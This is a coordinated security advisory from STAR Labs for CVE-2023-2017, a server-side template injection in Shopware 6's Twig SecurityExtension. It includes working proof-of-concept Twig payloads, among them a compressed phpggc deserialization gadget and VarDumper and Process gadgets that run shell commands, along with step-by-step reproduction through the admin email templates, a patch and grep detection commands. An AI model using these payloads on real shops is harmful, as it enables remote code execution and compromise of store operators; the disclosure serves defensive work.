Summary:

Product Shopware
Vendor Shopware AG
Severity High - Users with login access to Shopware Admin panel may be able to obtain remote code/command execution
Affected Versions v6.4.18.1 <= v6.4.20.0, v6.5.0.0-rc1 <= v6.5.0.0-rc4 (Commit facfc88)
Tested Versions v6.4.20.0 (Latest stable version), v6.5.0.0-rc3 (Latest pre-release version)
CVE Identifier CVE-2023-2017
CVE Description Server-side Template Injection (SSTI) in Shopware 6 (<= v6.4.20.0, v6.5.0.0-rc1 <= v6.5.0.0-rc4), affecting both shopware/core and shopware/platform GitHub repositories, allows remote attackers with access to a Twig environment without the Sandbox extension to bypass the validation checks in Shopware\Core\Framework\Adapter\Twig\SecurityExtension and call any arbitrary PHP function and thus execute arbitrary code/commands via usage of fully-qualified names, supplied as array of strings, when referencing callables. Users are advised to upgrade to v6.4.20.1 to resolve this issue. This is a bypass of CVE-2023-22731.
CWE Classification(s) CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
CAPEC Classification(s) CAPEC-242: Code Injection

CVSS3.1 Scoring System:

Base Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview:

Shopware is an open source commerce platform based on Symfony Framework and Vue js. The build-in Shopware 6 Storefront is based on Twig and Bootstrap. Users may use extensions (previously referred to as plugins) to implement custom themes for their storefront by overriding the default Twig template files, and then enabling the custom theme extension using the included Shopware 6 Administration panel.

Vulnerability Summary:

Note: This is a bypass of CVE-2023-22731 (tracked as issue NEXT-24667 by Shopware).

There is a bypass for the validation checks enforced by the Shopware\Core\Framework\Adapter\Twig\SecurityExtension used to prevent execution of arbitrary PHP functions using default filters in Twig, such as map(), filter(), reduce() and sort(). The SecurityExtension class introduced in commit 89d1ea1 attempts to address CVE-2023-22731 by overriding the map(), filter(), reduce() and sort() Twig filters (enabled by default) and ensuring that the callable is within the list of permitted PHP functions to be executed. However, there is a logic flaw whereby validation against the list of permitted functions is only performed if the argument passed to filter is a string. Passing an array as a callable argument allows the validation check to be skipped.

Consequently, this allows a remote attacker with access to a Twig environment to call any arbitrary PHP function and thus execute arbitrary code/commands via usage of fully-qualified names, supplied as arrays of strings, when referencing callables.

Vulnerability Details:

The vulnerability can be found in the SecurityExtension class declared in src/Core/Framework/Adapter/Twig/SecurityExtension.php:

...
class SecurityExtension extends AbstractExtension
{
    ...

    /**
     * @return TwigFilter[]
     */
    public function getFilters(): array
    {
        return [
            new TwigFilter('map', [$this, 'map']),
            new TwigFilter('reduce', [$this, 'reduce']),
            new TwigFilter('filter', [$this, 'filter']),
            new TwigFilter('sort', [$this, 'sort']),
        ];
    }

    ...
    public function map(iterable $array, string|callable|\Closure $function): array
    {
        if (\is_string($function) && !\in_array($function, $this->allowedPHPFunctions, true)) { // [1]
            throw new \RuntimeException(sprintf('Function "%s" is not allowed', $function));
        }

        $result = [];
        foreach ($array as $key => $value) {
            // @phpstan-ignore-next-line
            $result[$key] = $function($value); // [2]
        }

        return $result;
    }

    ...
    public function reduce(iterable $array, string|callable|\Closure $function, mixed $initial = null): mixed
    {
        if (\is_string($function) && !\in_array($function, $this->allowedPHPFunctions, true)) { // [3]
            throw new \RuntimeException(sprintf('Function "%s" is not allowed', $function));
        }

        if (!\is_array($array)) {
            $array = iterator_to_array($array);
        }

        // @phpstan-ignore-next-line
        return array_reduce($array, $function, $initial); // [4]
    }

    ...
    public function filter(iterable $array, string|callable|\Closure $arrow): iterable
    {
        if (\is_string($arrow) && !\in_array($arrow, $this->allowedPHPFunctions, true)) { // [5]
            throw new \RuntimeException(sprintf('Function "%s" is not allowed', $arrow));
        }

        if (\is_array($array)) {
            // @phpstan-ignore-next-line
            return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // [6]
        }

        // @phpstan-ignore-next-line
        return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
    }

    ...
    public function sort(iterable $array, string|callable|\Closure|null $arrow = null): array
    {
        if (\is_string($arrow) && !\in_array($arrow, $this->allowedPHPFunctions, true)) { // [7]
            throw new \RuntimeException(sprintf('Function "%s" is not allowed', $arrow));
        }

        if ($array instanceof \Traversable) {
            $array = iterator_to_array($array);
        }

        if ($arrow !== null) {
            // @phpstan-ignore-next-line
            uasort($array, $arrow); //[8]
        } else {
            asort($array);
        }

        return $array;
    }
}

At [1], the $function parameter contains the argument supplied to the filter. For example, it may refer to "funcname" in {{ array|filter("funcname") }} or the closure (a.k.a. arrow function) el => el != 'exclude' in {{ array|filter(el => el != 'exclude') }}. Taking a closer look at the condition at [1], it can be observed that non-string arguments passes the validation check.

Notice that the validation check is only invoked if $function is a string. As such, non-string arguments may be passed to [2] due to the absence of type enforcement at [1]. At [2], variable functions (i.e. $function($value)) is invoked, thereby allowing arbitrary PHP functions to be executed. Largely identical code pattern can also be observed for the reduce() filter (at [3] and [4]), filter() filter (at [5] and [6]) and sort() filter (at [7] and [8]).

A common mistake that developers make is assuming that the callable type refers to a string type. This is untrue, and it is well documented in the PHP Manual:

A method of an instantiated object is passed as an array containing an object at index 0 and the method name at index 1. Accessing protected and private methods from within a class is allowed. Static class methods can also be passed without instantiating an object of that class by either, passing the class name instead of an object at index 0, or passing ClassName::methodName.

This means that all of the following variable function calls are valid:

// Type 1: Simple callback -- invokes system("id")
$func = "system";
$func("id")

// Type 2: Static class method call -- invokes Class::staticMethod($arg)
$func = $array("Class", "staticMethod");
$func($arg);

// Type 3: Object method call -- invokes $obj->method($arg)
$func = $array($obj, "method"));
$func($arg);

Going back to [1], if $arrow is an array instead of a string or closure, the validation check to prevent invocation of unsafe functions is completely skipped. Multiple static class methods within Shopware’s codebase and its dependencies were found to be suitable gadgets for achieving for remote code execution:

// Gadget 1: Using \Shopware\Core\Framework\Adapter\Cache\CacheValueCompressor::uncompress() to invoke unserialize()
// Serialized payload generated using the phpggc tool: ./phpggc -b Monolog/RCE8 system 'id'
// Compressed payload is generated using: 
// $ php -r 'echo gzcompress(shell_exec("php phpggc Monolog/RCE8 system id"));' | hexdump -v -e '"\\\x" 1/1 "%02X"'
{{ ["\x78\x9C\x65\x90\x4D\x4F\xC3\x30\x0C\x86\x77\xE6\x67\xF8\xC8\xA9\x49\x61\x30\xE7\x86\x86\xE0\x50\x34\x09\xAE\x93\xA6\x7E\x78\xC5\x53\xDA\x4C\x49\x3A\xF1\xA1\xFE\x77\x92\x06\x8D\xA2\xDD\xEC\xF7\x8D\x5F\x3F\xCE\x06\xE5\x3D\xC2\x8B\xE9\x8D\x36\xED\xF6\xB9\xEC\x1B\x4D\x76\xFB\x64\xCD\x70\xFC\x6D\x00\x05\x7E\x3B\x14\x02\x61\x71\xBD\x78\x4F\xA2\x03\x55\x46\x9D\x31\x53\x1B\x94\xAB\xCB\x88\x87\x61\xBF\x27\x7B\xCE\x58\x4E\x19\xD9\x3C\x03\x94\xC5\x5C\x05\x35\x9F\xD4\x6A\x1A\x78\xE3\x2F\x02\xC5\x28\xA2\x71\x33\x33\x0A\xEE\xD8\x47\x27\x0B\xCE\x6A\x66\xFC\x23\x11\x77\x7F\x24\x85\x69\x5F\xA9\x36\xB6\x01\x94\x71\xFB\x2D\x82\xA6\x13\x69\x50\x8F\x28\x66\xC4\x45\x14\x71\x4D\xD5\xD0\x82\x9A\x9E\x75\xFC\x41\x4D\xAC\x25\x02\x87\x62\x1C\xCF\x30\xDC\xB3\xE7\x52\x07\xCA\xA0\x57\x09\x33\xF1\x1F\xAD\xA9\xC9\x39\x93\xFE\x26\x4F\x44\xC1\x0D\x79\x2D\xF9\x9D\xA9\x0E\x54\xFB\xDD\xA9\x8C\x7E\xBA\x2F\xCC\x51\xDF\xC4\x4E\x86\x6E\x89\xE0\x3E\x9D\xA7\x2E\xEE\x1B\xC7\xAB\x1F\x89\x25\x7F\x63"] | map(['\\Shopware\\Core\\Framework\\Adapter\\Cache\\CacheValueCompressor', 'uncompress']) | length }}

// Gadget 2: Using \Symfony\Component\VarDumper\Vardumper::setHandler() and \Symfony\Component\VarDumper\Vardumper::dump() to invoke system("id"):
{{ ['system'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'setHandler']) | length }}
{{ ['id'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'dump']) | length }}

// Gadget 3: Using \Symfony\Component\Process\Process::fromShellCommandline() to invoke proc_open("id > /tmp/pwned.txt"):
{{ {'/':'id > /tmp/pwned.txt'} | map(['\\Symfony\\Component\\Process\\Process', 'fromShellCommandline']) | map(e => e.run()) | length }}

Exploit Conditions:

This vulnerability can be exploited if the attacker has access to:

  1. an administrator account, or
  2. a non-administrative user account with permissions to create/edit Twig templates, such as:
    • Settings > Email templates permissions
    • Content > Themes permissions
    • Additional Permissions > Manage Extensions permissions

Reproduction Steps:

For simplicity, the following proof-of-concept uses the administrator account to demonstrate how the vulnerability can be exploited using Email templates.

  1. Navigate to http://<shopware_target>/admin#/sw/mail/template/index and login to an administrator account.
  2. Click the ... button for the first template (e.g. Cancellation invoice), and click the Edit button.
  3. Under the Mail text section, enter the following payload for the HTML text area:
    <!--
    Gadget 1: Using \Shopware\Core\Framework\Adapter\Cache\CacheValueCompressor::uncompress() to invoke unserialize()
    Serialized payload generated using the phpggc tool: ./phpggc -b Monolog/RCE8 system 'id'
    Compressed payload is generated using: 
    $ php -r 'echo gzcompress(shell_exec("php phpggc Monolog/RCE8 system id"));' | hexdump -v -e '"\\\x" 1/1 "%02X"'
    -->
    {{ ["\x78\x9C\x65\x90\x4D\x4F\xC3\x30\x0C\x86\x77\xE6\x67\xF8\xC8\xA9\x49\x61\x30\xE7\x86\x86\xE0\x50\x34\x09\xAE\x93\xA6\x7E\x78\xC5\x53\xDA\x4C\x49\x3A\xF1\xA1\xFE\x77\x92\x06\x8D\xA2\xDD\xEC\xF7\x8D\x5F\x3F\xCE\x06\xE5\x3D\xC2\x8B\xE9\x8D\x36\xED\xF6\xB9\xEC\x1B\x4D\x76\xFB\x64\xCD\x70\xFC\x6D\x00\x05\x7E\x3B\x14\x02\x61\x71\xBD\x78\x4F\xA2\x03\x55\x46\x9D\x31\x53\x1B\x94\xAB\xCB\x88\x87\x61\xBF\x27\x7B\xCE\x58\x4E\x19\xD9\x3C\x03\x94\xC5\x5C\x05\x35\x9F\xD4\x6A\x1A\x78\xE3\x2F\x02\xC5\x28\xA2\x71\x33\x33\x0A\xEE\xD8\x47\x27\x0B\xCE\x6A\x66\xFC\x23\x11\x77\x7F\x24\x85\x69\x5F\xA9\x36\xB6\x01\x94\x71\xFB\x2D\x82\xA6\x13\x69\x50\x8F\x28\x66\xC4\x45\x14\x71\x4D\xD5\xD0\x82\x9A\x9E\x75\xFC\x41\x4D\xAC\x25\x02\x87\x62\x1C\xCF\x30\xDC\xB3\xE7\x52\x07\xCA\xA0\x57\x09\x33\xF1\x1F\xAD\xA9\xC9\x39\x93\xFE\x26\x4F\x44\xC1\x0D\x79\x2D\xF9\x9D\xA9\x0E\x54\xFB\xDD\xA9\x8C\x7E\xBA\x2F\xCC\x51\xDF\xC4\x4E\x86\x6E\x89\xE0\x3E\x9D\xA7\x2E\xEE\x1B\xC7\xAB\x1F\x89\x25\x7F\x63"] | map(['\\Shopware\\Core\\Framework\\Adapter\\Cache\\CacheValueCompressor', 'uncompress']) | length }}
    
  4. In the right-sidebar, click the Show Preview button. Observe that the id shell command is executed successfully:

Suggested Mitigations:

Patch the logic flaw in the SecurityExtension class declared in src/Core/Framework/Adapter/Twig/SecurityExtension.php to ensure that the parameter passed to the respective filter functions must either be a string or a Closure as such:

An sample patch is shown below for the map() filter:

    public function map(iterable $array, string|callable|\Closure $function): array
    {
-       if (\is_string($function) && !\in_array($function, $this->allowedPHPFunctions, true)) {
+       if (!($function instanceof \Closure) && (!(\is_string($function) && \in_array($function, $this->allowedPHPFunctions, true))) {
            throw new \RuntimeException(sprintf('Function "%s" is not allowed', $function));
        }

        $result = [];
        foreach ($array as $key => $value) {
            // @phpstan-ignore-next-line
            $result[$key] = $function($value);
        }

        return $result;
    }

Detection Guidance:

The following strategies may be used to detect potential exploitation attempts.

  1. Searching within Twig cache/compiled Twig template files using the following shell command:
    grep -Priz -e '\|\s*(filter|map|reduce|sort)\s*\(' --exclude \*url_matching_routes.php /path/to/webroot/var/cache/
  2. Searching within custom apps/plugins/themes using the following shell command:
    grep -Priz -e '\|\s*(filter|map|reduce|sort)\s*\(' /path/to/webroot/custom/

Note that it is not possible to detect indicators of compromise reliably using the Shopware log file (located at /path/to/webroot/var/log by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.

Credits:

Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2023-04-10 Vendor Disclosure
  • 2023-04-11 Initial Vendor Contact
  • 2023-04-11 Vendor Patch Release
  • 2023-04-17 Public Release